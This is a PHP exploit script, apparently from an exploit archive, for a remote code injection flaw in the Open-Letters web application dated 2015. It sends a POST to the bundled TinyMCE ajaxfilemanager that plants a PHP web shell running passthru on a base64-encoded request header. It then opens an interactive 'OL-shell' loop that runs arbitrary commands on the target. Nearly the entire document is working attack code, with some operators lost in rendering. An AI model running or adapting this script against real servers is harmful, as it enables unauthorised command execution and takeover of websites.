Open-Letters - Remote PHP Code Injection Vulnerability



<?php

  
/*
OutPut:
#[+] Author: TUNISIAN CYBER
#[+] Script coded BY: Egidio Romano aka EgiX
#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability
#[+] Date: 19-04-2015
#[+] Vendor: http://www.open-letters.de/
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] CVE:
#[+] Twitter: @TCYB3R
#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com
#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png
OL-shell> 
  
*/
  
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout"5);
  
function 
http_send($host$packet)
{
    if (!(
$sock fsockopen($host80)))
        die( 
"\n[-] No response from {$host}:80\n");
  
    
fwrite($sock$packet);
    return 
stream_get_contents($sock);
}
  
print 
"#[+] Author: TUNISIAN CYBER\n";
print 
"#[+] Script coded BY: Egidio Romano aka EgiX\n";
print 
"#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability\n";
print 
"#[+] Date: 19-04-2015\n";
print 
"#[+] Vendor: http://www.open-letters.de/\n";
print 
"#[+] Type: WebAPP\n";
print 
"#[+] Tested on: KaliLinux (Debian)\n";
print 
"#[+] CVE:\n";
print 
"#[+] Twitter: @TCYB3R\n";
print 
"#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com\n";
print 
"#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png";
  
if (
$argc 3)
{
    print 
"\nUsage......: php $argv[0] <host> <path>";
    print 
"\nExample....: php $argv[0] localhost /";
    print 
"\nExample....: php $argv[0] localhost /zenphoto/\n";
    die();
}
  
$host $argv[1];
$path $argv[2];
  
$exploit "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet  "POST {$path}external_scripts/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($exploit)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$exploit}";
  
http_send($host$packet);
  
$packet  "GET {$path}external_scripts/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
  
while(
1)
{
    print 
"\nOL-shell> ";
    if ((
$cmd trim(fgets(STDIN))) == "exit") break;
    
preg_match("/_code_(.*)/s"http_send($hostsprintf($packetbase64_encode($cmd))), $m) ?
    print 
$m[1] : die("\n[-] Exploit failed!\n");
}
  
?>